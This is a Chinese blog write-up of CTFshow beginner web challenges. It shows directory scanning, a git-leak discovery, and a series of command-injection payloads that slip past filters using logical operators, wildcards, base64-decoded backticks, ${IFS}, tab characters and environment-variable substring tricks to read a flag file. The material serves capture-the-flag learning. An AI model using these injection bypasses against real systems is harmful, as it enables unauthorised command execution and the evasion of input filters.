当前位置:首页 » 《我的小黑屋》 » 正文

CTFshow-Web初级-复现

1 人参与  2024年04月30日 10:55  分类 : 《我的小黑屋》  评论

点击全文阅读


声明:

仅作为个人学习使用,如果你发现了错误或者有优化建议,欢迎你联系我。


Web6

一般进入一个网站 先考虑信息泄露的几个方向

sudo root

这里先用dirsearch扫目录

dirsearch -u url -e*

扫到了robots.txt 进去看一眼

继续访问  (记得把*去除)

显示403 说明该目录有东西

尝试访问/.git/   (注意最后的 / 不要遗漏)      依旧显示403 大概率git泄露

使用git脚本

访问/admin/secret.php

bp抓包 字典爆破 得到flag

Web7

ls显示目录出现flag.php index.php

输入dir=&&tac flag.php时,整个system函数调用会变成:

system("ls &&tac flag.php")

先执行ls   成功执行后执行tac flag.php(system执行在linux的shell中)

Web8  通配符绕过

多了个无回显 其他与上题同理" >/dev/null 2>&1"

ls显示目录出现flag.php index.php

输入cmd=tac fl?g.php||

得到 system("cmd=tac fl?g.php|| >/dev/null 2>&1)             ||前的命令不受影响,||后的不回显

执行tac flag.php ||后面不执行

Web9  通配符绕过

过滤  flag  &   ;            (  /i  说明以上过滤不区分大小写)

逻辑符 &  ; 都被过滤,只能使用 ||

ls显示目录出现flag.php index.php

输入cmd=tac fla?.php||

Web10 Base64编码解码绕过

过滤 flag &  ;  cat  tac nl  more  od  不区分以上大小写

ta?  ca? 无法用通配符补齐tac cat 所以使用编码解码绕过过滤

ls显示目录出现flag.php index.php

tac flag.php    base64编码  →dGFjIGZsYWcucGhw

句1      `echo 'dGFjIGZsYWcucGhw'|base64 -d`  → 即输出 tac flag.php

句2                            ls(写什么不重要,反正也不执行)

使用||组合

cmd=`echo 'dGFjIGZsYWcucGhw'  |base64 -d`||ls

1

若 ; 未被过滤情况下

使用拼接绕过

cmd=a='t';b='ac';c='fla';d='g.php';$a$b ${c}${d}       (我不确定)

Web11 符号过滤-空格过滤

发现  空格 被过滤

ls显示目录出现flag.php index.php

输入cmd=tac${IFS}fla?.php

输入cmd=tac%09fla?.php

Web12  符号过滤-空格过滤-字符串截取

过滤 flag & ; 空格 IFS <> x09

ls显示目录出现flag.php index.php

输入cmd=env

寻找 = 与 空格 实现字符串截取替代空格

找到以下信息

PHP_EXTRA_CONFIGURE_ARGS=--enable-fpm --with

= 右侧 空格索引为12

空格替换→索引12,输出1个字符,即

 ${PHP_EXTRA_CONFIGURE_ARGS:12:1}  代替 空格

tac flag.php   →    tac${PHP_EXTRA_CONFIGURE_ARGS:12:1}fla?.php

输入cmd=tac${PHP_EXTRA_CONFIGURE_ARGS:12:1}fla?.php


End

逻辑符

||前面执行成功,后面不执行
;分成两段
&&

前面执行成功才能执行后面

避免冲突,使用url编码→%26%26

如何过滤空格

读文件时用  <>  过滤

tac<>flag.php

${IFS}   $IFS$9  代替空格

bash下用{cmd,args}

tac${IFS}flag.php

控制字符代替空格  %09  %0b  %0c

tac%9flag.php

字符串截取

ctfshow=aabbcc

${ctfshow:2}

#输出bbcc

${ctfshow:2:1}

#输出b

不仅局限于空格 只要是符号过滤

比赛中可以通过bp fuzz  %00-%128  爆破出哪些可以代替过滤符号


不要因为太简单而不学,不要因为太难而不去靠近它...


点击全文阅读


本文链接:http://zhangshiyu.com/post/102277.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1